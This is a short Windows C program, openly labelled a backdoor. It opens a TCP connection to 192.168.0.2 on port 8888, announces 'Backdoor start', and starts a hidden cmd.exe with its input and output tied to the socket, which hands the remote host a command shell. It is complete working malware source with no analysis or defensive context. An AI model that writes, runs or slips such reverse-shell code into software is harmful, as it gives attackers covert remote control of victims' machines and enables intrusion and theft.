#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
int cmdshell(SOCKET s)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetStartupInfo(&si);
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput=si.hStdOutput=si.hStdError=(void*)s;
char cmdline[256];
GetSystemDirectory(cmdline,sizeof(cmdline));
strcat(cmdline,"\\cmd.exe");
int ret;
ret=CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&pi);
WaitForSingleObject(pi.hProcess,INFINITE);
CloseHandle(pi.hProcess);
return 0;
}
int main(int argc, char* argv[])
{
char MyMessage[512] = "Backdoor start\n";
WSADATA wsaData;
WORD sockVersion = MAKEWORD(2, 2);
if(WSAStartup(sockVersion, &wsaData) != 0)
return 0;
SOCKET s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if(s == INVALID_SOCKET)
{
printf(" socket error \n");
return 0;
}
sockaddr_in sin;
sin.sin_family = AF_INET;
//8888端口
sin.sin_port = htons(8888);
sin.sin_addr.S_un.S_addr = inet_addr("192.168.0.2");
if(connect(s, (sockaddr*)&sin, sizeof(sin)) == -1)
{
printf(" connect error \n");
return 0;
}
if (send(s,MyMessage,strlen(MyMessage),0)==SOCKET_ERROR)
{
printf("Send message error \n");
return 0;
}
cmdshell(s);
return 0;
}